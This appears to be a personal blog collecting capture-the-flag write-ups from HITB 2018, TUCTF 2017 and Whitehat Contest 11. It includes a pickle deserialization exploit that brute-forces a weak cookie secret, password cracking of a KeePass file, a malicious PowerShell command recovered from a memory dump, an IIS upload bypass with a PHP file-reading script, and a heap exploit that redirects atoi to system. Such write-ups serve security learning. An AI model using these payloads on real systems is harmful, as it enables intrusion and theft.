A box of chocolate

my public personal notebook

HITBXCTF 2018 Quals - Python's revenge

We are given a Python Flask webapp that allows us to store and retrieve a Python object. The app stores our secret with pickle in a cookie named location. To protect the cookie from malicious user modifications, a simple MAC scheme is implemented:

def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        flash("Hey! This is not a valid cookie! Leave me alone.")
        return False
    location = loads(b64d(location))
    return location


def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)


def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()

The secret argument supplied is composed of 4 ascii_letters + digits characters.

if not os.path.exists('.secret'):
    with open(".secret", "w") as f:
        secret = ''.join(random.choice(string.ascii_letters + string.digits)
                         for x in range(4))
        f.write(secret)
with open(".secret", "r") as f:
    cookie_secret = f.read().strip()

This is not secure enough, and it could be easily guessed with the following code: (we posted some data and obtains a legit cookie for this)

def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()

alphabet = string.ascii_letters + string.digits
h = 'ff3490e001f087e91bce7332ef741f080dae51ab328aaf14bde6ee0da54818ce'
msg = 'VmFhYWEKcDAKLg=='

for s in itertools.product(alphabet, repeat=4):
    if calc_digest(msg, ''.join(s)) == h:
        print 'secret = ' + ''.join(s)
        break
else:
    print '[!] not found'

We retrieved the secret 'hitb'. Afterwards, during unpickling, the app installs a hook on the REDUCE method, which blacklists direct invocation of a lot of local command execution functions:

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

...
def _hook_call(func):
    def wrapper(*args, **kwargs):
        session['cnt'] += 1
        print session['cnt']
        print args[0].stack
        for i in args[0].stack:
            if i in black_type_list:
                raise FilterException(args[0].stack[-2])
            if session['cnt'] > 4:
                raise TimesException()
        return func(*args, **kwargs)
    return wrapper


def loads(strs):
    reload(pickle)
    files = StringIO(strs)
    unpkler = pickle.Unpickler(files)
    unpkler.dispatch[pickle.REDUCE] = _hook_call(
        unpkler.dispatch[pickle.REDUCE])
    return unpkler.load()

However, the hook function only compares unpickled method directly in the black list, therefore if we can indirectly call blacklisted functions it won't be effective. Let's do it with my favorite map function. The following code will generate a malicious cookie which can be used to run any blacklisted functions:

import itertools
from hashlib import sha256
import string
import subprocess
from base64 import b64encode as b64e
from pickle import dumps

def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()

'''
alphabet = string.ascii_letters + string.digits
h = 'ff3490e001f087e91bce7332ef741f080dae51ab328aaf14bde6ee0da54818ce'
msg = 'VmFhYWEKcDAKLg=='

for s in itertools.product(alphabet, repeat=4):
  if calc_digest(msg, ''.join(s)) == h:
      print 'secret = ' + ''.join(s)
      break
else:
  print '[!] not found'
'''

secret = 'hitb'

class Exploit(object):
    def __reduce__(self):
        return (map, (subprocess.check_output, [['/bin/cat', '/flag_is_here']]))

def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)

print make_cookie(b64e(dumps(Exploit())), secret)

The flag is HITB{Py5h0n1st8eBe3tNOW}.

HITBXCTF 2018 Quals - pix

We are given a PNG file, let's check it for any steg data with zsteg:

$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate
/usr/lib/ruby/2.3.0/open3.rb:199: warning: Insecure world writable dir /mnt/c/ProgramData/Oracle/Java in PATH, mode 040777
imagedata           .. text: " !#865   "
b1,r,msb,xy         .. text: "y5b@2~2t"
b1,rgb,lsb,xy       .. file: Keepass password database 2.x KDBX
b2,r,msb,xy         .. text: "\rP`I$X7D"
b2,bgr,lsb,xy       .. text: "b;d'8H~M"
b4,g,msb,xy         .. text: ";pTr73& dvG:"

We have a KeePass DB hidden in the file, let's extract it with zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate -E b1,rgb,lsb,xy > wat.kdbx. The file is protected with a password. We are given hints about the password:

weak password!

lower casee letters and number


len(password) == 10


hitb + number

Let's launch John the Ripper. First, we need to convert our kdbx file into a JtR hash:

.\keepass2john.exe .\wat.kdbx
wat:$keepass$*2*6000*222*774fbe05c37a98c8094e1d625d285a193ae9cf9bc7f6ccbf8ee5cb28e2894070*02207c3d0a3feb6a589dc84f8d73ff86fe2629ff25f9cf23f7f9545b5786f882*065f70730c4e7b98ef7ea869f6958b03*2b3d24717d3e284484af4171a4a752d688111a96f7c36e7233048fc028867f16*43dbb269dff30e5cd1ce74dd8527594004f49bcd17414c24cb22c0d6e2b26a0b

Save it into hash.txt and launch JtR with the mask hinted. It runs a little bit slow on my laptop, but with better hardware you can improve it easily:

.\john.exe --mask=hitb?d?d?d?d?d?d .\hash.txt
Warning: '/dev/shm' does not exists or is not a directory.

POSIX shared memory objects require the existance of this directory.
Create the directory '/dev/shm' and set the permissions to 01777.
For instance on the command line: mkdir -m 01777 /dev/shm
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:10 15.33% (ETA: 18:02:11) 0g/s 2177p/s 2177c/s 2177C/s hitb082351..hitb782351
0g 0:00:03:33 41.98% (ETA: 18:03:02) 0g/s 1962p/s 1962c/s 1962C/s hitb848914..hitb558914
0g 0:00:04:33 52.40% (ETA: 18:03:15) 0g/s 1915p/s 1915c/s 1915C/s hitb040425..hitb740425
hitb180408       (wat)
1g 0:00:07:16 DONE (2018-04-14 18:01) 0.002291g/s 1842p/s 1842c/s 1842C/s hitb080408..hitb780408
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We successfully cracked the password for the KeePass db hitb180408, let's open it:

f:id:dakutenpura:20180414200631p:plain

The flag is HITB{p1x_aNd_k33pass}.

HITBXCTF 2018 Quals - boom

We are given a .vmem file, which is a memory file generated by VMware. The problem description indicates that this VM might be infected with a malware, so let's use Volatility to analyze this memory dump.

Let's check what OS this memory dump is running:

$ volatility -f BOOM-6452e9b9.vmem imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (.../BOOM-6452e9b9.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80003fff0a0L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80004000d00L
                KPCR for CPU 1 : 0xfffff880009ef000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-04-05 08:29:56 UTC+0000
     Image local date and time : 2018-04-05 16:29:56 +0800

Let's consider the running OS as Win7SP1x64 and list the running processes:

$ volatility -f BOOM-6452e9b9.vmem --profile=Win7SP1x64 psscan
Volatility Foundation Volatility Framework 2.5
Offset(P)          Name                PID   PPID PDB                Time created                   Time exited
------------------ ---------------- ------ ------ ------------------ ------------------------------ ------------------------------
0x000000007d0d81f0 msdtc.exe          1992    516 0x0000000077525000 2018-04-04 15:28:29 UTC+0000
0x000000007d0dab30 cmd.exe            1348   1212 0x0000000038154000 2018-04-05 08:27:22 UTC+0000   2018-04-05 08:27:39 UTC+0000
0x000000007d109b30 dllhost.exe        1896    516 0x000000004599c000 2018-04-04 15:28:29 UTC+0000
0x000000007d248b30 svchost.exe         600    516 0x00000000145af000 2018-04-04 15:28:26 UTC+0000
0x000000007d285540 svchost.exe        1112    516 0x0000000017541000 2018-04-04 15:28:27 UTC+0000
0x000000007d28a5b0 explorer.exe       2532   2492 0x0000000034c9e000 2018-04-04 15:30:26 UTC+0000
0x000000007d290b30 spoolsv.exe        1212    516 0x0000000017755000 2018-04-04 15:28:27 UTC+0000
0x000000007d2af1a0 mscorsvw.exe       2764    516 0x000000006a0e7000 2018-04-04 15:30:28 UTC+0000
0x000000007d2de7e0 svchost.exe        1244    516 0x00000000186fc000 2018-04-04 15:28:27 UTC+0000
0x000000007d3b4060 VGAuthService.     1384    516 0x00000000178e6000 2018-04-04 15:28:27 UTC+0000
0x000000007d3e4210 vmtoolsd.exe       1456    516 0x000000001676c000 2018-04-04 15:28:28 UTC+0000
0x000000007d3e9b30 ManagementAgen     1480    516 0x00000000162f2000 2018-04-04 15:28:28 UTC+0000
0x000000007d413060 winlogon.exe        480    408 0x0000000020cf6000 2018-04-04 15:28:26 UTC+0000
0x000000007d428b30 services.exe        516    416 0x00000000086a2000 2018-04-04 15:28:26 UTC+0000
0x000000007d434060 lsm.exe             540    416 0x000000001f851000 2018-04-04 15:28:26 UTC+0000
0x000000007d436610 lsass.exe           532    416 0x000000001f649000 2018-04-04 15:28:26 UTC+0000
0x000000007d50e970 svchost.exe         664    516 0x000000001c541000 2018-04-04 15:28:26 UTC+0000
0x000000007d532920 vmacthlp.exe        724    516 0x000000001ee7b000 2018-04-04 15:28:26 UTC+0000
0x000000007d53eb30 svchost.exe         768    516 0x0000000053d03000 2018-04-04 15:28:26 UTC+0000
0x000000007d571060 svchost.exe         832    516 0x000000005378d000 2018-04-04 15:28:26 UTC+0000
0x000000007d57cb30 svchost.exe         892    516 0x000000005329a000 2018-04-04 15:28:26 UTC+0000
0x000000007d5a8b30 svchost.exe         936    516 0x00000000125a5000 2018-04-04 15:28:26 UTC+0000
0x000000007d8d1060 wininit.exe         416    344 0x0000000021861000 2018-04-04 15:28:26 UTC+0000
0x000000007d8db7b0 csrss.exe           432    408 0x0000000021bf0000 2018-04-04 15:28:26 UTC+0000
0x000000007da5cb30 csrss.exe           364    344 0x0000000021ddb000 2018-04-04 15:28:25 UTC+0000
0x000000007e243b30 WmiPrvSE.exe       1852    664 0x000000000e653000 2018-04-04 15:28:29 UTC+0000
0x000000007e94bb30 smss.exe            276      4 0x0000000023138000 2018-04-04 15:28:25 UTC+0000
0x000000007e9cab30 taskhost.exe       2388    516 0x0000000074651000 2018-04-04 15:30:26 UTC+0000
0x000000007ed2e810 Everything.exe     3764   1564 0x0000000077807000 2018-04-05 08:29:20 UTC+0000
0x000000007edb62b0 ipconfig.exe       3440   3372 0x000000002ef83000 2018-04-05 08:29:56 UTC+0000   2018-04-05 08:29:56 UTC+0000
0x000000007efbe330 SearchFilterHo     1260   3016 0x000000002ddfe000 2018-04-05 08:29:06 UTC+0000
0x000000007efc7540 audiodg.exe        3960    832 0x000000003eefe000 2018-04-05 08:29:20 UTC+0000
0x000000007efcc5f0 cmd.exe            3372   1456 0x000000003fe85000 2018-04-05 08:29:56 UTC+0000   2018-04-05 08:29:56 UTC+0000
0x000000007f0e5a30 dwm.exe            2508    892 0x0000000073675000 2018-04-04 15:30:26 UTC+0000
0x000000007f67bb30 dllhost.exe        2364    664 0x0000000049662000 2018-04-04 15:49:16 UTC+0000
0x000000007f773680 netsh.exe          2428   1212 0x0000000034bde000 2018-04-05 08:28:07 UTC+0000   2018-04-05 08:28:07 UTC+0000
0x000000007f78eb30 svchost.exe        1088    516 0x000000004771d000 2018-04-04 15:41:44 UTC+0000
0x000000007f7e1460 StikyNot.exe       2252   2532 0x00000000379a7000 2018-04-04 15:49:33 UTC+0000
0x000000007f834b30 SearchIndexer.     3016    516 0x000000003ae0d000 2018-04-04 15:30:30 UTC+0000
0x000000007f860b30 svchost.exe        2968    516 0x0000000015308000 2018-04-04 15:30:29 UTC+0000
0x000000007f9d6060 cmd.exe            1096   1212 0x00000000752ec000 2018-04-05 08:25:33 UTC+0000   2018-04-05 08:26:49 UTC+0000
0x000000007f9ec060 sc.exe             3064   1212 0x00000000332be000 2018-04-05 08:28:07 UTC+0000   2018-04-05 08:28:07 UTC+0000
0x000000007fa5d060 wordpad.exe        3316   1564 0x0000000041a4b000 2018-04-05 08:29:50 UTC+0000
0x000000007fa7f060 conhost.exe        3368    364 0x000000000ca7a000 2018-04-05 08:29:56 UTC+0000   2018-04-05 08:29:56 UTC+0000
0x000000007faa7390 rdpclip.exe        2460   1112 0x0000000071564000 2018-04-05 08:29:07 UTC+0000
0x000000007fac6b30 taskhost.exe       1340    516 0x000000006d95f000 2018-04-05 08:29:07 UTC+0000
0x000000007fb0bb30 SearchProtocol     1820   3016 0x00000000744a7000 2018-04-05 08:29:26 UTC+0000
0x000000007fb15b30 dwm.exe            2228    892 0x0000000032414000 2018-04-05 08:29:07 UTC+0000
0x000000007fb23b30 explorer.exe       1564   1624 0x0000000066338000 2018-04-05 08:29:07 UTC+0000
0x000000007fb74060 vmtoolsd.exe       2632   2532 0x0000000070551000 2018-04-04 15:30:26 UTC+0000
0x000000007fbb9b30 svchost.exe        2800    516 0x000000006a6f5000 2018-04-04 15:30:28 UTC+0000
0x000000007fbcf060 mscorsvw.exe       2880    516 0x000000006a1fc000 2018-04-04 15:30:29 UTC+0000
0x000000007fbfc060 sppsvc.exe         2932    516 0x000000002c482000 2018-04-04 15:30:29 UTC+0000
0x000000007fca0b30 winlogon.exe        888   2092 0x00000000304c0000 2018-04-05 08:28:11 UTC+0000
0x000000007fccab30 csrss.exe          1836   2092 0x000000002f03b000 2018-04-05 08:28:11 UTC+0000
0x000000007fd228d0 csrss.exe          2984   2380 0x000000001bbb9000 2018-04-05 08:29:06 UTC+0000
0x000000007fd36b30 regsvr32.exe       2736   1564 0x0000000064a39000 2018-04-05 08:29:08 UTC+0000   2018-04-05 08:29:08 UTC+0000
0x000000007fdec630 vmtoolsd.exe       3748   1564 0x0000000045e6b000 2018-04-05 08:29:19 UTC+0000
0x000000007fdf3b30 winlogon.exe       2212   2380 0x00000000121be000 2018-04-05 08:29:06 UTC+0000
0x000000007feb2060 SearchProtocol     2752   3016 0x000000002e873000 2018-04-05 08:29:06 UTC+0000
0x000000007feb8b30 LogonUI.exe        1672   2212 0x000000003a14d000 2018-04-05 08:29:06 UTC+0000
0x000000007ff39990 System                4      0 0x0000000000187000 2018-04-04 15:28:25 UTC+0000

Everything.exe seems shady. Let's dump it:

$ volatility -f BOOM-6452e9b9.vmem --profile=Win7SP1x64 procdump -p 3764 -D .
Volatility Foundation Volatility Framework 2.5
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xfffffa8002b2e810 0x0000000000400000 Everything.exe       OK: executable.3764.exe

As with many memory forensics challenge, it is quite useful to run strings on it:

$ strings executable.3764.exe
... [snip]
...
powershell -WindowStyle Hidden -Command "Get-ChildItem .\ | ForEach-Object -Process {if($_ -is [System.IO.FileInfo]){if($_.FullName.indexof(""".exe""") -eq -1){return;}$cont = (Get-Content -raw $_.FullName);if($cont.indexof("""qwedcxzarfvbnhyt""") -eq -1){return;}echo $_.FullName;[byte[]]$bytes = [System.IO.File]::ReadAllBytes($_.FullName);Set-Content -Path """.\temp.exe""" -Value $Bytes[-0X19010..-0X11] -encoding Byte;.\temp.exe;rm .\temp.exe;}};Start-Process -FilePath http://HYTN_B_C_DoRR_.cn;"

Looks like there are something related to PowerShell inside this executable, which makes it even more shady. Some RE confirms it as the process entry point is overwritten with some code that runs the above command. Start-Process -FilePath with an URL will open a browser window with that URL, that explains the weird paths mentioned in the problem description.

The flag doesn't follow normal format, and is the domain name of what we've found: HYTN_B_C_DoRR_.cn

There are a lot of useful and funny tricks I've learned when solving that problem; however the time to writeup is limited so I'll add it later :3

HITBXCTF 2018 Quals - upload

The given site has a simple form that allows us to upload a file, and after uploading gives us a file name with the extension of the file we uploaded. With some simple recon we can see that the server is running on PHP and IIS (which is known for being buggy) and we have a route pic.php?filename=default.jpg:

f:id:dakutenpura:20180414173440p:plain

The pic route shows the width and height of an uploaded file with GET param filename, with the filename we got back after uploading. Since we can fully control this param and we also have file upload, and with the problem description clearly indicates Get shell !, it is clear that we should upload a PHP shell to get flag. We can control the extension of uploaded file, but the server will block files with .php extension. This can be easily bypassed since Windows filename are not case sensitive, so .Php file is still interpreted as a PHP file. Another problem is that we don't know where our files are placed on the server. We can abuse pic.php?filename= route to leak path information. There is a trick when performing LFI with FastCGI on IIS that the < character behaves like a * wildcard (detailed in https://soroush.secproject.com/blog/2014/07/file-upload-and-php-on-iis-wildcards/). Let's use it to disclose our file upload subfolder:

gist.github.com

f:id:dakutenpura:20180414183923p:plain

Now that we know where our files are uploaded to, we can upload a simple PHP script to read flag.php in the root directory:

<?php print_r(file_get_contents('../flag.php')); ?>

f:id:dakutenpura:20180414184157p:plain

TUCTF 2017 Pwn500 Writeup

Unlink yourself from the chains of earthly possessions.

We have a binary which gives heap-related wisdoms, and a file mm.c which is a self-implemented dynamic memory management code used in the binary. The heap chunks defined in mm.c have the following structure (taken from mm.c comments):

 *                    block     block+8          block+size-8   block+size    *
 *  Allocated blocks:   |  HEADER  |  ... PAYLOAD ...  |  FOOTER  |           *
 *                                                                            *
 *                    block     block+8          block+size-8   block+size    *
 *  Unallocated blocks: |  HEADER  |  ... (empty) ...  |  FOOTER  |           *
 *                                                                            *

Allocated chunk addresses are aligned to 16 bytes. The chunk's real size (with header and footer size included) is stored in both chunk's header and footer, and bit 0 of the size indicates if the chunk is in use or not.

mm.c defines malloc and free, and free implements a simple chunk coalescing procedure, which won't leave immediate contiguous free chunks in memory:

/* Coalesce: Coalesces current block with previous and next blocks if either
 *           or both are unallocated; otherwise the block is not modified.
 *           Returns pointer to the coalesced block. After coalescing, the
 *           immediate contiguous previous and next blocks must be allocated.
 */
static block_t *coalesce(block_t * block) 
{
    block_t *block_next = find_next(block);
    block_t *block_prev = find_prev(block);

    bool prev_alloc = extract_alloc(*(find_prev_footer(block)));
    bool next_alloc = get_alloc(block_next);
    size_t size = get_size(block);

    if (prev_alloc && next_alloc)              // Case 1
    {
        return block;
    }

    else if (prev_alloc && !next_alloc)        // Case 2
    {
        size += get_size(block_next);
        write_header(block, size, false);
        write_footer(block, size, false);
    }

    else if (!prev_alloc && next_alloc)        // Case 3
    {
        size += get_size(block_prev);
        write_header(block_prev, size, false);
        write_footer(block_prev, size, false);
        block = block_prev;
    }

    else                                        // Case 4
    {
        size += get_size(block_next) + get_size(block_prev);
        write_header(block_prev, size, false);
        write_footer(block_prev, size, false);

        block = block_prev;
    }
    return block;
}

mm.c uses each chunk's size to find the previous and next chunks in memory. When determining the previous chunk's address, mm.c will look at the previous chunk's footer:

/*
 * find_prev: returns the previous block position by checking the previous
 *            block's footer and calculating the start of the previous block
 *            based on its size.
 */
static block_t *find_prev(block_t *block)
{
    word_t *footerp = find_prev_footer(block);
    size_t size = extract_size(*footerp);
    return (block_t *)((char *)block - size);
}

And the previous chunk's allocation status is also determined by its footer:

bool prev_alloc = extract_alloc(*(find_prev_footer(block)));

When reversing the binary, in give_wisdom function, we'll see that the program malloc a text field with our given size, and then calls readbytes with our size:

f:id:dakutenpura:20171127024211p:plain

readbytes calls fgets with sz = bufsize + 1, to ensures that it can read bufsize bytes and a terminating null character:

uint32_t __cdecl readbytes(char *buf, uint32_t bufsize)
{
  fgets(buf, bufsize + 1, stdin);
  return bufsize + 1;
}

Because of that, we can write a single null byte to a chunk's footer. When we free the next chunk, mm.c will think that this text chunk is freed and will consolidate with it, even when this chunk is actually still in use, which might lead to a chunk shrinking attack. But during malloc, the program still uses chunk headers to navigate the freelist (which we still can't control), so this might not be useful for us yet.

Back to give_wisdom, we'll see that the program assigns the text_size field of newWisdom with the result of readbytes, which is size + 1:

...
v4 = readbytes(v2, size);
newQuote->text = newWisdom;
newQuote->text_size = v4;
...

And then later, in modify_wisdom, we can modify text_size bytes of the text chunk, which is also size + 1:

f:id:dakutenpura:20171127024354p:plain

This means we can fully control the least significant byte of a chunk's footer.

Great! Now we can exploit the program like the following:

  1. We'll gib 3 wisdoms, so our controllable part of the heap will look like this (one wisdom will have a metadata chunk of size 0x20 and a text chunk with user-controlled size): f:id:dakutenpura:20171127030521p:plain
  2. We then modify the 2nd wisdom, and enlarge its text chunk's footer to include both the 2nd wisdom's metadata chunk and the 1st's text chunk: f:id:dakutenpura:20171127030258p:plain
  3. We take the 3rd wisdom. When freeing 3rd's metadata chunk, coalesce will think that 2nd's text chunk is freed (because bit 0 of its footer is 0) and will try to consolidate backward. Because of our faked size, find_prev will return the 1st's text chunk instead of 2nd's text chunk, and the program will mark that chunk as freed during coalescing: f:id:dakutenpura:20171127033959g:plain Because 1st's text chunk is marked as freed, malloc will use this part of memory to serve new requests. But 1st's text chunk is still being referenced by the program, so we can say that the 1st wisdom's text chunk is "forgotten".
  4. We'll give a new wisdom, then modify the first wisdom. The new wisdom's metadata will be stored where 1st's text chunk is, so when we modify 1st wisdom's content, we're actually modify the new wisdom's metadata. We can then point the new wisdom's text_ptr field to the GOT table, then take that wisdom to get libc's base address. f:id:dakutenpura:20171127035228p:plain
  5. In checksec we can see that this binary have partial RELRO, so we can overwrite its GOT table. After getting libc's base, we will give another wisdom, modify 1st's wisdom to point its text_ptr to atoi@got, then modify it to write atoi@got with the calculated address of system@libc for given libc file in the problem description. After this, when we trigger atoi during the menu prompt, we'll call system instead; supply it with /bin/sh to get our shell.

Here's the exploit code:

gist.github.com

And here's the script in action:

f:id:dakutenpura:20171127023623p:plain

Whitehat Contest 11 RE3

We are given a big Windows binary named digital_fortrees.exe, and when I run strings on it looking for flag, I saw a lot of names like this:

unittest/__init__.pycPK
unittest/case.pycPK
unittest/loader.pycPK
unittest/main.pycPK
unittest/result.pycPK
unittest/runner.pycPK
unittest/signals.pycPK
unittest/suite.pycPK
unittest/util.pycPK

So, it is possible that this file contains Python pyc files, and those files are stored like zip files (because of the PK header). Try to open that file with 7-zip, we can see that there are actually a lot of pyc files: f:id:dakutenpura:20160628031114p:plain

But I didn't see any suspected pyc files (I got lost most of the time, and I still don't know how to look for those files efficiently :( ). When I run it, the program gives me 2 options: to generate the map or to go through all rooms on the map. It seems like option 1 creates prime number named folders in the working directories, and the second option traverses through all of those directories and open cmd on its way (it did froze my computer :( ). Let's use Cheat Engine and see if we can narrow down on what pyc we should look, by searching for some special strings in the app. Then suddenly I saw some interesting things: f:id:dakutenpura:20160628032904p:plain

There are 2 suspicious links inside: http://material.wargame.whitehat.vn/contests/11/drawmap.py and http://material.wargame.whitehat.vn/contests/11/letgo.py. The second file describe the traversing process:

import os

def gothrough():
    key = 1
    roomtogo = [r for r in os.listdir(os.curdir)if os.path.isdir(r)]
    for room in roomtogo:
        key *= int(room)
        os.system("start cmd /k echo Room number " + room + ": get key part")
    if (key == 1000012277050240711531267079):
        os.system("start cmd /k echo Congrats! Where did you get these key parts?")
    else:
        os.system("start cmd /k echo Nothing here! wrong key parts")

gothrough()

So it'll look for directories, convert them to number and multiplies them together. And the result should be equal to 1000012277050240711531267079. According to the flag format, it should be the product of 3 prime numbers. We can factor it ourselves, or use FactorDB.

The flag is SHA1(FirstRoom:SecondRoom:ThridRoom) = 89225c98a509271436fd55c3c6aeef44fd07728a.

Whitehat Contest 11 RE2

We are given a Golang binary, which my idol teammate @yeuchimse reverse engineered :3. The checking code looks like this:

factorials = [1, 1, 2, 6, 0x18, 0x78, 0x2d0, 0x13b0, 0x9d80, 0x58980, 0x375f00, 0x2611500, 0x1c8cfc00]

def calc(nums):
    nums = [0] + nums
    pos_arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
    j = 1

    result = 1
    while True:
        n = nums[j]
        n_index = pos_arr[n] - 1
        y = len(nums) - 1 - j
        result += factorials[y] * n_index

        for i in xrange(nums[j] + 1, len(nums)):
            pos_arr[i] -= 1

        j += 1
        if j == len(nums):
            break

    print result

    # assert result == 0xE37F550

The result += factorials[y] * n_index part kinds of remind me about factoradic numbers, which can be used to number and calculate permutations lexicographically. And this function takes a list as its input and calculates a number. Maybe it is used to convert a factoradic number to a decimal number? But the algorithm seems more complicated than that. So we tried to put a permutation to that function, and voila! It returns the index of that permutation!

So the problem became finding a permutation given its index. We can implement it following this nice tutorial here, but I ended up reuse the code I wrote some times ago here (it's written in Pascal and there are no comments, sorry about that :( ).

The flag is 612945128107113.